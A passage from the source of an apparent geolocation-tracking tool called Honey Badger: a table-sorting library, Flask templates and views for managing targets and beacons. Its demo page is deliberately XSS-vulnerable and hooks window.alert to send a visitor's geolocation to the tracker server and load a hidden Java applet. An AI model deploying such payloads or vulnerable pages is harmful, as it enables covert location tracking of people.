column based on its first non-blank row\n    sortfn = sorttable.sort_alpha;\n    for (var i=0; i<table.tBodies[0].rows.length; i++) {\n      text = sorttable.getInnerText(table.tBodies[0].rows[i].cells[column]);\n      if (text !== '') {\n        if (text.match(/^-?[£$¤]?[\\d,.]+%?$/)) {\n          return sorttable.sort_numeric;\n        }\n        // check for a date: dd/mm/yyyy or dd/mm/yy\n        // can have / or . or - as separator\n        // can be mm/dd as well\n        possdate = text.match(sorttable.DATE_RE);\n        if (possdate) {\n          // looks like a date\n          first = parseInt(possdate[1], 10);\n          second = parseInt(possdate[2], 10);\n          if (first > 12) {\n            // definitely dd/mm\n            return sorttable.sort_ddmm;\n          } else if (second > 12) {\n            return sorttable.sort_mmdd;\n          } else {\n            // looks like a date, but we can't tell which, so assume\n            // that it's dd/mm (English imperialism!) and keep looking\n            sortfn = sorttable.sort_ddmm;\n          }\n        }\n      }\n    }\n    return sortfn;\n  },\n\n  getInnerText: function(node) {\n    // gets the text we want to use for sorting for a cell.\n    // strips leading and trailing whitespace.\n    // this is *not* a generic getInnerText function; it's special to sorttable.\n    // for example, you can override the cell text with a customkey attribute.\n    // it also gets .value for <input> fields.\n\n    if (!node) return \"\";\n\n    hasInputs = (typeof node.getElementsByTagName == 'function') &&\n                 node.getElementsByTagName('input').length;\n\n    if (node.nodeType == 1 && node.getAttribute(\"sorttable_customkey\") !== null) {\n      return node.getAttribute(\"sorttable_customkey\");\n    }\n    else if (typeof node.textContent != 'undefined' && !hasInputs) {\n      return node.textContent.replace(/^\\s+|\\s+$/g, '');\n    }\n    else if (typeof node.innerText != 'undefined' && !hasInputs) {\n      return node.innerText.replace(/^\\s+|\\s+$/g, '');\n    }\n    else if (typeof node.text != 'undefined' && !hasInputs) {\n      return node.text.replace(/^\\s+|\\s+$/g, '');\n    }\n    else {\n      switch (node.nodeType) {\n        case 3:\n          if (node.nodeName.toLowerCase() == 'input') {\n            return node.value.replace(/^\\s+|\\s+$/g, '');\n          }\n          break;\n        case 4:\n          return node.nodeValue.replace(/^\\s+|\\s+$/g, '');\n          break;\n        case 1:\n        case 11:\n          var innerText = '';\n          for (var i = 0; i < node.childNodes.length; i++) {\n            innerText += sorttable.getInnerText(node.childNodes[i]);\n          }\n          return innerText.replace(/^\\s+|\\s+$/g, '');\n          break;\n        default:\n          return '';\n      }\n    }\n  },\n\n  reverse: function(tbody) {\n    // reverse the rows in a tbody\n    newrows = [];\n    for (var i=0; i<tbody.rows.length; i++) {\n      newrows[newrows.length] = tbody.rows[i];\n    }\n    for (i=newrows.length-1; i>=0; i--) {\n       tbody.appendChild(newrows[i]);\n    }\n    delete newrows;\n  },\n\n  /* sort functions\n     each sort function takes two parameters, a and b\n     you are comparing a[0] and b[0] */\n  sort_numeric: function(a,b) {\n    aa = parseFloat(a[0].replace(/[^0-9.-]/g,''));\n    if (isNaN(aa)) aa = 0;\n    bb = parseFloat(b[0].replace(/[^0-9.-]/g,''));\n    if (isNaN(bb)) bb = 0;\n    return aa-bb;\n  },\n  sort_alpha: function(a,b) {\n    return a[0].localeCompare(b[0]);\n    /*\n    if (a[0]==b[0]) return 0;\n    if (a[0]<b[0]) return -1;\n    return 1;\n    */\n  },\n  sort_ddmm: function(a,b) {\n    mtch = a[0].match(sorttable.DATE_RE);\n    y = mtch[3]; m = mtch[2]; d = mtch[1];\n    if (m.length == 1) m = '0'+m;\n    if (d.length == 1) d = '0'+d;\n    dt1 = y+m+d;\n    mtch = b[0].match(sorttable.DATE_RE);\n    y = mtch[3]; m = mtch[2]; d = mtch[1];\n    if (m.length == 1) m = '0'+m;\n    if (d.length == 1) d = '0'+d;\n    dt2 = y+m+d;\n    if (dt1==dt2) return 0;\n    if (dt1<dt2) return -1;\n    return 1;\n  },\n  sort_mmdd: function(a,b) {\n    mtch = a[0].match(sorttable.DATE_RE);\n    y = mtch[3]; d = mtch[2]; m = mtch[1];\n    if (m.length == 1) m = '0'+m;\n    if (d.length == 1) d = '0'+d;\n    dt1 = y+m+d;\n    mtch = b[0].match(sorttable.DATE_RE);\n    y = mtch[3]; d = mtch[2]; m = mtch[1];\n    if (m.length == 1) m = '0'+m;\n    if (d.length == 1) d = '0'+d;\n    dt2 = y+m+d;\n    if (dt1==dt2) return 0;\n    if (dt1<dt2) return -1;\n    return 1;\n  },\n\n  shaker_sort: function(list, comp_func) {\n    // A stable sort function to allow multi-level sorting of data\n    // see: http://en.wikipedia.org/wiki/Cocktail_sort\n    // thanks to Joseph Nahmias\n    var b = 0;\n    var t = list.length - 1;\n    var swap = true;\n    var q;\n\n    while(swap) {\n        swap = false;\n        for(var i = b; i < t; ++i) {\n            if ( comp_func(list[i], list[i+1]) > 0 ) {\n                q = list[i]; list[i] = list[i+1]; list[i+1] = q;\n                swap = true;\n            }\n        } // for\n        t--;\n\n        if (!swap) break;\n\n        for(i = t; i > b; --i) {\n            if ( comp_func(list[i], list[i-1]) < 0 ) {\n                q = list[i]; list[i] = list[i-1]; list[i-1] = q;\n                swap = true;\n            }\n        } // for\n        b++;\n\n    } // while(swap)\n  }\n};\n\n/* ******************************************************************\n   Supporting functions: bundled here to avoid depending on a library\n   ****************************************************************** */\n\n// Dean Edwards/Matthias Miller/John Resig\n\n/* for Mozilla/Opera9 */\nif (document.addEventListener) {\n    document.addEventListener(\"DOMContentLoaded\", sorttable.init, false);\n}\n\n/* for Internet Explorer */\n/*@cc_on @*/\n/*@if (@_win32)\n    document.write(\"<script id=__ie_onload defer src=javascript:void(0)><\\/script>\");\n    var script = document.getElementById(\"__ie_onload\");\n    script.onreadystatechange = function() {\n        if (this.readyState == \"complete\") {\n            sorttable.init(); // call the onload handler\n        }\n    };\n/*@end @*/\n\n/* for Safari */\nif (/WebKit/i.test(navigator.userAgent)) { // sniff\n    var _timer = setInterval(function() {\n        if (/loaded|complete/.test(document.readyState)) {\n            sorttable.init(); // call the onload handler\n        }\n    }, 10);\n}\n\n/* for other browsers */\nwindow.onload = sorttable.init;\n\n// written by Dean Edwards, 2005\n// with input from Tino Zijdel, Matthias Miller, Diego Perini\n\n// http://dean.edwards.name/weblog/2005/10/add-event/\n\nfunction dean_addEvent(element, type, handler) {\n\tif (element.addEventListener) {\n\t\telement.addEventListener(type, handler, false);\n\t} else {\n\t\t// assign each event handler a unique ID\n\t\tif (!handler.$$guid) handler.$$guid = dean_addEvent.guid++;\n\t\t// create a hash table of event types for the element\n\t\tif (!element.events) element.events = {};\n\t\t// create a hash table of event handlers for each element/event pair\n\t\tvar handlers = element.events[type];\n\t\tif (!handlers) {\n\t\t\thandlers = element.events[type] = {};\n\t\t\t// store the existing event handler (if there is one)\n\t\t\tif (element[\"on\" + type]) {\n\t\t\t\thandlers[0] = element[\"on\" + type];\n\t\t\t}\n\t\t}\n\t\t// store the event handler in the hash table\n\t\thandlers[handler.$$guid] = handler;\n\t\t// assign a global event handler to do all the work\n\t\telement[\"on\" + type] = handleEvent;\n\t}\n}\n// a counter used to create unique IDs\ndean_addEvent.guid = 1;\n\nfunction removeEvent(element, type, handler) {\n\tif (element.removeEventListener) {\n\t\telement.removeEventListener(type, handler, false);\n\t} else {\n\t\t// delete the event handler from the hash table\n\t\tif (element.events && element.events[type]) {\n\t\t\tdelete element.events[type][handler.$$guid];\n\t\t}\n\t}\n}\n\nfunction handleEvent(event) {\n\tvar returnValue = true;\n\t// grab the event object (IE uses a global event object)\n\tevent = event || fixEvent(((this.ownerDocument || this.document || this).parentWindow || window).event);\n\t// get a reference to the hash table of event handlers\n\tvar handlers = this.events[event.type];\n\t// execute each event handler\n\tfor (var i in handlers) {\n\t\tthis.$$handleEvent = handlers[i];\n\t\tif (this.$$handleEvent(event) === false) {\n\t\t\treturnValue = false;\n\t\t}\n\t}\n\treturn returnValue;\n}\n\nfunction fixEvent(event) {\n\t// add W3C standard event methods\n\tevent.preventDefault = fixEvent.preventDefault;\n\tevent.stopPropagation = fixEvent.stopPropagation;\n\treturn event;\n}\nfixEvent.preventDefault = function() {\n\tthis.returnValue = false;\n};\nfixEvent.stopPropagation = function() {\n  this.cancelBubble = true;\n};\n\n// Dean's forEach: http://dean.edwards.name/base/forEach.js\n/*\n\tforEach, version 1.0\n\tCopyright 2006, Dean Edwards\n\tLicense: http://www.opensource.org/licenses/mit-license.php\n*/\n\n// array-like enumeration\nif (!Array.forEach) { // mozilla already supports this\n\tArray.forEach = function(array, block, context) {\n\t\tfor (var i = 0; i < array.length; i++) {\n\t\t\tblock.call(context, array[i], i, array);\n\t\t}\n\t};\n}\n\n// generic enumeration\nFunction.prototype.forEach = function(object, block, context) {\n\tfor (var key in object) {\n\t\tif (typeof this.prototype[key] == \"undefined\") {\n\t\t\tblock.call(context, object[key], key, object);\n\t\t}\n\t}\n};\n\n// character enumeration\nString.forEach = function(string, block, context) {\n\tArray.forEach(string.split(\"\"), function(chr, index) {\n\t\tblock.call(context, chr, index, string);\n\t});\n};\n\n// globally resolve forEach enumeration\nvar forEach = function(object, block, context) {\n\tif (object) {\n\t\tvar resolve = Object; // default\n\t\tif (object instanceof Function) {\n\t\t\t// functions have a \"length\" property\n\t\t\tresolve = Function;\n\t\t} else if (object.forEach instanceof Function) {\n\t\t\t// the object implements a custom forEach method so use that\n\t\t\tobject.forEach(block, context);\n\t\t\treturn;\n\t\t} else if (typeof object == \"string\") {\n\t\t\t// the object is a string\n\t\t\tresolve = String;\n\t\t} else if (typeof object.length == \"number\") {\n\t\t\t// the object is array-like\n\t\t\tresolve = Array;\n\t\t}\n\t\tresolve.forEach(object, block, context);\n\t}\n};\n\n"
  },
  {
    "path": "server/honeybadger/templates/admin.html",
    "content": "{% extends \"layout.html\" %}\n{% block body %}\n    <br/>\n    <div class=\"row\">\n        <div class=\"six columns offset-by-three center-content\">\n            <form action=\"{{ url_for('admin_user_init') }}\" method=\"post\">\n                <input style=\"vertical-align: middle\" name=\"email\" type=\"text\" placeholder=\"email address\" />\n                <input style=\"vertical-align: middle\" type=\"submit\" value=\"initialize\" onclick=\"this.form.submit();\" />\n            </form>\n        </div>\n    </div>\n    <div class=\"row\">\n        <div class=\"u-full-width center-content users\">\n        {% if users|length > 0 %}\n            <table class=\"sortable center\">\n                <thead>\n                    <tr>\n                    {% for column in columns %}\n                        <th>{{ column }}</th>\n                    {% endfor %}\n                        <th>action</th>\n                    </tr>\n                </thead>\n                <tbody>\n                {% for user in users %}\n                    <tr>\n                    {% for column in columns %}\n                        <td>{{ user[column] }}</td>\n                    {% endfor %}\n                        <td>\n                        {% if user.status == 0 %}\n                            <input type=\"button\" onclick=\"copy2clip('{{ url_for('profile_activate', _external=True, token=user.token) }}')\" value=\"get link\" />\n                        {% elif user.status == 1 %}\n                            <input type=\"button\" onclick=\"window.location='{{ url_for('admin_user', action='deactivate', id=user.id) }}'\" value=\"deactivate\" />\n                            <input type=\"button\" onclick=\"window.location='{{ url_for('admin_user', action='reset', id=user.id) }}'\" value=\"reset\" />\n                        {% elif user.status == 2 %}\n                            <input type=\"button\" onclick=\"window.location='{{ url_for('admin_user', action='activate', id=user.id) }}'\" value=\"activate\" />\n                        {% elif user.status == 3 %}\n                            <input type=\"button\" onclick=\"copy2clip('{{ url_for('password_reset', _external=True, token=user.token) }}')\" value=\"get link\" />\n                        {% endif %}\n                            <input type=\"button\" onclick=\"if (confirm('Are you sure you want to delete this user?')) { window.location='{{ url_for('admin_user', action='delete', id=user.id) }}' }\" value=\"delete\" />\n                        </td>\n                    </tr>\n                {% endfor %}\n                </tbody>\n            </table>\n        {% else %}\n            <h5>No users.</h5>\n        {% endif %}\n        </div>\n    </div>\n{% endblock %}\n"
  },
  {
    "path": "server/honeybadger/templates/beacons.html",
    "content": "{% extends \"layout.html\" %}\n{% block body %}\n    <br/>\n    <div class=\"row\">\n        <div class=\"u-full-width center-content beacons\">\n        {% if beacons|length > 0 %}\n            <table class=\"sortable center\">\n                <thead>\n                    <tr>\n                    {% for column in columns %}\n                        <th>{{ column }}</th>\n                    {% endfor %}\n                        <th>action</th>\n                    </tr>\n                </thead>\n                <tbody>\n                {% for beacon in beacons %}\n                    <tr>\n                    {% for column in columns %}\n                        <td>{{ beacon[column] }}</td>\n                    {% endfor %}\n                        <td>\n                        {% if g.user.is_admin %}\n                            <input type=\"button\" onclick=\"if (confirm('Are you sure you want to delete this beacon?')) { window.location='{{ url_for('beacon_delete', id=beacon.id) }}' }\" value=\"delete\" />\n                        {% endif %}\n                        </td>\n                    </tr>\n                {% endfor %}\n                </tbody>\n            </table>\n        {% else %}\n            <h5>No beacons.</h5>\n        {% endif %}\n        </div>\n    </div>\n{% endblock %}\n"
  },
  {
    "path": "server/honeybadger/templates/demo.html",
    "content": "<!DOCTYPE HTML>\n<html>\n<head>\n    <title>Honey Badger Demo</title>\n    <script nonce=\"{{ nonce }}\">\nvar api = \"{{ request.url_root }}api/beacon/{{ target }}/\";\nvar disclaimer = \"By clicking 'OK', you consent to code being ran on your machine for the purpose of geolocating your position.\";\nvar _alert = window.alert;\n\nfunction showPosition(position) {\n    img = new Image();\n    img.src = api + \"JavaScript?lat=\" + position.coords.latitude + \"&lng=\" + position.coords.longitude + \"&acc=\" + position.coords.accuracy;\n}\n\nfunction useApplet() {\n    var a = document.createElement('applet');\n    a.setAttribute('code', 'honey.class');\n    a.setAttribute('archive', '{{ url_for('static', filename='honey.jar') }}');\n    a.setAttribute('name', 'Secure Java Applet');\n    a.setAttribute('width', '0');\n    a.setAttribute('height', '0');\n    var b = document.createElement('param');\n    b.setAttribute('name', 'api');\n    b.setAttribute('value', api);\n    a.appendChild(b);\n    document.getElementsByTagName('body')[0].appendChild(a);\n}\n\nwindow.alert = function(msg) {\n    // CSP agent\n    // fires automatically upon script invocation\n    // HTML agent\n    img = new Image();\n    img.src = \"{{ request.url_root }}api/beacon/{{ target }}/HTML\";\n    // JavaScript agent\n    if (navigator.geolocation) {\n        navigator.geolocation.getCurrentPosition(showPosition);\n    }\n    // Java Applet agent\n    if (confirm(disclaimer)) {\n        useApplet();\n    }\n    // give them what they want\n    _alert(msg);\n}\n    </script>\n</head>\n<body>\n    <p><h1>Honey Badger demo page.</h1></p>\n    <p>XSS me, please.</p>\n    <form method=\"POST\">\n        <p><input type=\"text\" name=\"text\" placeholder=\"enter some text\" /></p>\n        <p><input type=\"password\" name=\"key\" placeholder=\"enter your password\" /></p>\n        <p><input type=\"submit\" value=\"submit\" /></p>\n    </form>\n    {% if text %}\n    <p>{{ text|safe }}</p>\n    {% endif %}\n</body>\n</html>\n"
  },
  {
    "path": "server/honeybadger/templates/layout.html",
    "content": "<!DOCTYPE HTML>\n<html>\n<head>\n    <meta charset=\"utf-8\">\n    <title>Honey Badger</title>\n    <meta name=\"description\" content=\"Geolocation tracker.\">\n    <meta name=\"author\" content=\"Tim (lanmaster53) Tomes\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n    <link rel=\"stylesheet\" type=\"text/css\" href=\"//fonts.googleapis.com/css?family=Raleway:400,300,600\">\n    <link rel=\"stylesheet\" type=\"text/css\" href=\"{{ url_for('static', filename='normalize.css') }}\">\n    <link rel=\"stylesheet\" type=\"text/css\" href=\"{{ url_for('static', filename='skeleton.css') }}\">\n    <link rel=\"stylesheet\" type=\"text/css\" href=\"{{ url_for('static', filename='badger.css') }}\">\n    <script type=\"text/javascript\" src=\"https://code.jquery.com/jquery-3.1.1.min.js\"></script>\n    <script type=\"text/javascript\" src=\"{{ url_for('static', filename='sorttable.js') }}\"></script>\n    <script type=\"text/javascript\" src=\"{{ url_for('static', filename='common.js') }}\"></script>\n</head>\n<body>\n    <div id=\"flash\" class=\"flash form rounded shaded\">{{ get_flashed_messages()|join(', ') }}</div>\n    <div class=\"nav\">\n        <div class=\"brand\">\n            <a href=\"{{ url_for('index') }}\"><span class=\"orange\">Honey</span><b>Badger</b></a>\n        </div>\n        <div class=\"links\">\n            <ul>\n            {% if g.user %}\n                <li><a href=\"{{ url_for('map') }}\">map</a></li>\n                <li class=\"orange\">|</li>\n                <li><a href=\"{{ url_for('targets') }}\">targets</a></li>\n                <li class=\"orange\">|</li>\n                <li><a href=\"{{ url_for('beacons') }}\">beacons</a></li>\n                <li class=\"orange\">|</li>\n                <li><a href=\"{{ url_for('log') }}\">log</a></li>\n                <li class=\"orange\">|</li>\n                <li><a href=\"{{ url_for('profile') }}\">profile</a></li>\n                <li class=\"orange\">|</li>\n            {% if g.user.is_admin %}\n                <li><a href=\"{{ url_for('admin') }}\">admin</a></li>\n                <li class=\"orange\">|</li>\n            {% endif %}\n                <li><a href=\"{{ url_for('logout') }}\">logout</a></li>\n            {% else %}\n                <li><a href=\"{{ url_for('login') }}\">login</a></li>\n            {% endif %}\n            </ul>\n        </div>\n        <div style=\"clear: both;\"></div>\n    </div>\n    {% block body %}{% endblock %}\n</body>\n</html>\n"
  },
  {
    "path": "server/honeybadger/templates/log.html",
    "content": "{% extends \"layout.html\" %}\n{% block body %}\n    <br/>\n    <div class=\"row\">\n        <div class=\"u-full-width center-content log\">\n            <pre class=\"rounded\">{{ content }}</pre>\n        </div>\n    </div>\n{% endblock %}\n"
  },
  {
    "path": "server/honeybadger/templates/login.html",
    "content": "{% extends \"layout.html\" %}\n{% block body %}\n    <div class=\"row\">\n        <div class=\"four columns offset-by-four login\">\n            <img src=\"{{ url_for('static', filename='honeybadger.png') }}\" />\n            <div class=\"form rounded shaded\">\n                <form action=\"{{ url_for('login') }}\" method=\"post\">\n                    <label for=\"email\">email</label>\n                    <input class=\"u-full-width\" name=\"email\" type=\"text\" />\n                    <label for=\"password\">password</label>\n                    <input class=\"u-full-width\" name=\"password\" type=\"password\" />\n                    <input type=\"submit\" value=\"login\" onclick=\"this.form.submit();\" />\n                </form>\n            </div>\n        </div>\n    </div>\n{% endblock %}\n"
  },
  {
    "path": "server/honeybadger/templates/map.html",
    "content": "{% extends \"layout.html\" %}\n{% block body %}\n    <div id=\"filter\" class=\"form filter rounded shaded\">\n        <div class=\"center-content\">targets</div>\n        <hr>\n        <div id=\"filter-target\"></div>\n        <br/>\n        <div class=\"center-content\">agents</div>\n        <hr>\n        <div id=\"filter-agent\"></div>\n    </div>\n    <div id=\"map\" class=\"map\">Loading beacons...</div>\n    <script src=\"https://maps.googleapis.com/maps/api/js?key={{ key }}\"></script>\n    <script type=\"text/javascript\" src=\"{{ url_for('static', filename='badger.js') }}\"></script>\n{% endblock %}\n"
  },
  {
    "path": "server/honeybadger/templates/profile.html",
    "content": "{% extends \"layout.html\" %}\n{% block body %}\n    <div class=\"row\">\n        <div class=\"four columns offset-by-four login\">\n            <div class=\"form rounded shaded\">\n                <form action=\"{{ url_for('profile') }}\" method=\"post\">\n                    <input class=\"u-full-width\" name=\"email\" type=\"text\" value=\"{{ user.email }}\" disabled/>\n                    <input class=\"u-full-width\" name=\"new_password\" type=\"password\" placeholder=\"new password\" />\n                    <input class=\"u-full-width\" name=\"confirm_password\" type=\"password\" placeholder=\"confirm password\" />\n                    <input class=\"u-full-width\" name=\"current_password\" type=\"password\" placeholder=\"current password\" />\n                    <input type=\"submit\" value=\"submit\" onclick=\"this.form.submit();\" />\n                </form>\n            </div>\n        </div>\n    </div>\n{% endblock %}\n"
  },
  {
    "path": "server/honeybadger/templates/profile_activate.html",
    "content": "{% extends \"layout.html\" %}\n{% block body %}\n    <div class=\"row\">\n        <div class=\"four columns offset-by-four login\">\n            <div class=\"form rounded shaded\">\n                <form action=\"{{ url_for('profile_activate', token=user.token) }}\" method=\"post\">\n                    <input class=\"u-full-width\" name=\"email\" type=\"text\" value=\"{{ user.email }}\" disabled/>\n                    <input class=\"u-full-width\" name=\"new_password\" type=\"password\" placeholder=\"new password\" />\n                    <input class=\"u-full-width\" name=\"confirm_password\" type=\"password\" placeholder=\"confirm password\" />\n                    <input type=\"submit\" value=\"submit\" onclick=\"this.form.submit();\" />\n                </form>\n            </div>\n        </div>\n    </div>\n{% endblock %}\n"
  },
  {
    "path": "server/honeybadger/templates/register.html",
    "content": "{% extends \"layout.html\" %}\n{% block body %}\n    <div class=\"row\">\n        <div class=\"four columns offset-by-four login\">\n            <img src=\"{{ url_for('static', filename='honeybadger.png') }}\" />\n            <div class=\"form rounded shaded\">\n                <form action=\"{{ url_for('register') }}\" method=\"post\">\n                    <label for=\"email\">email</label>\n                    <input class=\"u-full-width\" name=\"email\" type=\"text\" />\n                    <label for=\"password\">password</label>\n                    <input class=\"u-full-width\" name=\"password\" type=\"password\" />\n                    <label for=\"confirm_password\">confirm password</label>\n                    <input class=\"u-full-width\" name=\"confirm_password\" type=\"password\" />\n                    <input class=\"u-full-width\" type=\"submit\" value=\"register\" onclick=\"this.form.submit();\" />\n                </form>\n            </div>\n        </div>\n    </div>\n{% endblock %}\n"
  },
  {
    "path": "server/honeybadger/templates/targets.html",
    "content": "{% extends \"layout.html\" %}\n{% block body %}\n    <br/>\n    {% if g.user.is_admin %}\n    <div class=\"row\">\n        <div class=\"six columns offset-by-three center-content\">\n            <form action=\"{{ url_for('target_add') }}\" method=\"post\">\n                <input style=\"vertical-align: middle\" name=\"target\" type=\"text\" placeholder=\"target name\" />\n                <input style=\"vertical-align: middle\" type=\"submit\" value=\"add\" onclick=\"this.form.submit();\" />\n            </form>\n        </div>\n    </div>\n    {% endif %}\n    <div class=\"row\">\n        <div class=\"u-full-width center-content targets\">\n        {% if targets|length > 0 %}\n            <table class=\"sortable center\">\n                <thead>\n                    <tr>\n                    {% for column in columns %}\n                        <th>{{ column }}</th>\n                    {% endfor %}\n                        <th>action</th>\n                    </tr>\n                </thead>\n                <tbody>\n                {% for target in targets %}\n                    <tr>\n                    {% for column in columns %}\n                        <td>{{ target[column] }}</td>\n                    {% endfor %}\n                        <td>\n                            <input type=\"button\" onclick=\"window.open('{{ url_for('demo', guid=target.guid) }}', '_blank')\" value=\"demo\" />\n                        {% if g.user.is_admin %}\n                            <input type=\"button\" onclick=\"if (confirm('Are you sure you want to delete this target and all of its beacons?')) { window.location='{{ url_for('target_delete', guid=target.guid) }}' }\" value=\"delete\" />\n                        {% endif %}\n                        </td>\n                    </tr>\n                {% endfor %}\n                </tbody>\n            </table>\n        {% else %}\n            <h5>No targets.</h5>\n        {% endif %}\n        </div>\n    </div>\n{% endblock %}\n"
  },
  {
    "path": "server/honeybadger/utils.py",
    "content": "import binascii\nimport os\nimport base64\nimport uuid\n\ndef generate_guid():\n    return str(uuid.uuid4())\n\ndef generate_token(n=40):\n    return binascii.hexlify(os.urandom(n))\n\ndef generate_nonce(n):\n    return base64.b64encode(os.urandom(n)).decode()\n\nfrom honeybadger.constants import CHANNELS\n\ndef freq2channel(freq):\n    for channel in CHANNELS:\n        if freq in CHANNELS[channel]:\n            return channel\n\nfrom honeybadger.models import Log\nfrom honeybadger import db\n\nclass Logger(object):\n\n    def _log(self, l, s):\n        log = Log(\n            level=l,\n            message=s,\n        )\n        db.session.add(log)\n        db.session.commit()\n\n    def debug(self, s):\n        self._log(10, s)\n\n    def info(self, s):\n        self._log(20, s)\n\n    def warn(self, s):\n        self._log(30, s)\n\n    def error(self, s):\n        self._log(40, s)\n\n    def critical(self, s):\n        self._log(50, s)\n"
  },
  {
    "path": "server/honeybadger/validators.py",
    "content": "import re\n\n# 1 upper, 1 lower, 1 special, 1 number, minimim 10 chars\nPASSWORD_REGEX = r'(?=.*[A-Z])(?=.*[a-z])(?=.*[0-9])(?=.*[!@#$%^&*\\(\\)]).{10,}'\nEMAIL_REGEX = r'[^@]+@[a-zA-Z\\d-]+(?:\\.[a-zA-Z\\d-]+)+'\n\ndef is_valid_email(email):\n    if not re.match(r'^{}$'.format(EMAIL_REGEX), email):\n        return False\n    return True\n\ndef is_valid_password(password):\n    if not re.match(r'^{}$'.format(PASSWORD_REGEX), password):\n        return False\n    return True\n"
  },
  {
    "path": "server/honeybadger/views.py",
    "content": "from flask import request, make_response, session, g, redirect, url_for, render_template, jsonify, flash, abort\nfrom flask_cors import cross_origin\nfrom honeybadger import app, db, logger\nfrom honeybadger.processors import process_known_coords, process_wlan_survey, process_ip, process_json\nfrom honeybadger.validators import is_valid_email, is_valid_password\nfrom honeybadger.decorators import login_required, roles_required\nfrom honeybadger.constants import ROLES\nfrom honeybadger.utils import generate_token, generate_nonce\nfrom honeybadger.models import User, Target, Beacon, Log\nimport os\nfrom base64 import b64decode as b64d\n\n# request preprocessors\n\n@app.before_request\ndef load_user():\n    g.user = None\n    if session.get('user_id'):\n        g.user = User.query.filter_by(id=session[\"user_id\"]).first()\n\n# control panel ui views\n\n@app.route('/')\n@app.route('/index')\n@login_required\ndef index():\n    return redirect(url_for('map'))\n\n@app.route('/map')\n@login_required\ndef map():\n    return render_template('map.html', key=app.config['GOOGLE_API_KEY'])\n\n@app.route('/beacons')\n@login_required\ndef beacons():\n    beacons = [b.serialized for t in Target.query.all() for b in t.beacons.all()]\n    columns = ['id', 'target', 'agent', 'lat', 'lng', 'acc', 'ip', 'created']\n    return render_template('beacons.html', columns=columns, beacons=beacons)\n\n@app.route('/beacon/delete/<int:id>')\n@login_required\n@roles_required('admin')\ndef beacon_delete(id):\n    beacon = Beacon.query.get(id)\n    if beacon:\n        db.session.delete(beacon)\n        db.session.commit()\n        flash('Beacon deleted.')\n    else:\n        flash('Invalid beacon ID.')\n    return redirect(url_for('beacons'))\n\n@app.route('/targets')\n@login_required\ndef targets():\n    targets = Target.query.all()\n    columns = ['id', 'name', 'guid', 'beacon_count']\n    return render_template('targets.html', columns=columns, targets=targets)\n\n@app.route('/target/add', methods=['POST'])\n@login_required\n@roles_required('admin')\ndef target_add():\n    name = request.form['target']\n    if name:\n        target = Target(\n            name=name,\n        )\n        db.session.add(target)\n        db.session.commit()\n        flash('Target added.')\n    return redirect(url_for('targets'))\n\n@app.route('/target/delete/<string:guid>')\n@login_required\n@roles_required('admin')\ndef target_delete(guid):\n    target = Target.query.filter_by(guid=guid).first()\n    if target:\n        db.session.delete(target)\n        db.session.commit()\n        flash('Target deleted.')\n    else:\n        flash('Invalid target GUID.')\n    return redirect(url_for('targets'))\n\n@app.route('/profile', methods=['GET', 'POST'])\n@login_required\ndef profile():\n    if request.method == 'POST':\n        if g.user.check_password(request.form['current_password']):\n            new_password = request.form['new_password']\n            if new_password == request.form['confirm_password']:\n                if is_valid_password(new_password):\n                    g.user.password = new_password\n                    db.session.add(g.user)\n                    db.session.commit()\n                    flash('Profile updated.')\n                else:\n                    flash('Password does not meet complexity requirements.')\n            else:\n                flash('Passwords do not match.')\n        else:\n            flash('Incorrect current password.')\n    return render_template('profile.html', user=g.user)\n\n# use an alternate route for reset as long as the logic is similar to init\n@app.route('/password/reset/<string:token>', methods=['GET', 'POST'], endpoint='password_reset')\n@app.route('/profile/activate/<string:token>', methods=['GET', 'POST'])\ndef profile_activate(token):\n    user = User.query.filter_by(token=token).first()\n    if user and user.status in (0, 3):\n        if request.method == 'POST':\n            new_password = request.form['new_password']\n            if new_password == request.form['confirm_password']:\n                if is_valid_password(new_password):\n                    user.password = new_password\n                    user.status = 1\n                    user.token = None\n                    db.session.add(user)\n                    db.session.commit()\n                    flash('Profile activated.')\n                    return redirect(url_for('login'))\n                else:\n                    flash('Password does not meet complexity requirements.')\n            else:\n                flash('Passwords do not match.')\n        return render_template('profile_activate.html', user=user)\n    # abort to 404 for obscurity\n    abort(404)\n\n@app.route('/admin')\n@login_required\n@roles_required('admin')\ndef admin():\n    users = User.query.all()\n    columns = ['email', 'role_as_string', 'status_as_string']\n    return render_template('admin.html', columns=columns, users=users, roles=ROLES)\n\n@app.route('/admin/user/init', methods=['POST'])\n@login_required\n@roles_required('admin')\ndef admin_user_init():\n    email = request.form['email']\n    if is_valid_email(email):\n        if not User.query.filter_by(email=email).first():\n            user = User(\n                email=email,\n                token=generate_token(),\n            )\n            db.session.add(user)\n            db.session.commit()\n            flash('User initialized.')\n        else:\n            flash('Username already exists.')\n    else:\n        flash('Invalid email address.')\n    # send notification to user\n    return redirect(url_for('admin'))\n\n@app.route('/admin/user/<string:action>/<int:id>')\n@login_required\n@roles_required('admin')\ndef admin_user(action, id):\n    user = User.query.get(id)\n    if user:\n        if user != g.user:\n            if action == 'activate' and user.status == 2:\n                user.status = 1\n                db.session.add(user)\n                db.session.commit()\n                flash('User activated.')\n            elif action == 'deactivate' and user.status == 1:\n                user.status = 2\n                db.session.add(user)\n                db.session.commit()\n                flash('User deactivated.')\n            elif action == 'reset' and user.status == 1:\n                user.status = 3\n                user.token = generate_token()\n                db.session.add(user)\n                db.session.commit()\n                flash('User reset.')\n            elif action == 'delete':\n                db.session.delete(user)\n                db.session.commit()\n                flash('User deleted.')\n            else:\n                flash('Invalid user action.')\n        else:\n            flash('Self-modification denied.')\n    else:\n        flash('Invalid user ID.')\n    return redirect(url_for('admin'))\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n    # redirect to home if already logged in\n    if session.get('user_id'):\n        return redirect(url_for('index'))\n    if request.method == 'POST':\n        user = User.get_by_email(request.form['email'])\n        if user and user.status == 1 and user.check_password(request.form['password']):\n            session['user_id'] = user.id\n            flash('You have successfully logged in.')\n            return redirect(url_for('index'))\n        flash('Invalid username or password.')\n    return render_template('login.html')\n\n@app.route('/logout')\n@login_required\ndef logout():\n    session.pop('user_id', None)\n    flash('You have been logged out')\n    return redirect(url_for('index'))\n\n@app.route('/demo/<string:guid>', methods=['GET', 'POST'])\ndef demo(guid):\n    text = None\n    if request.method == 'POST':\n        text = request.values['text']\n        key = request.values['key']\n        if g.user.check_password(key):\n            if text and 'alert(' in text:\n                text = 'Congrats! You entered: {}'.format(text)\n            else:\n                text = 'Nope. Try again.'\n        else:\n            text = 'Incorrect password.'\n    nonce = generate_nonce(24)\n    response = make_response(render_template('demo.html', target=guid, text=text, nonce=nonce))\n    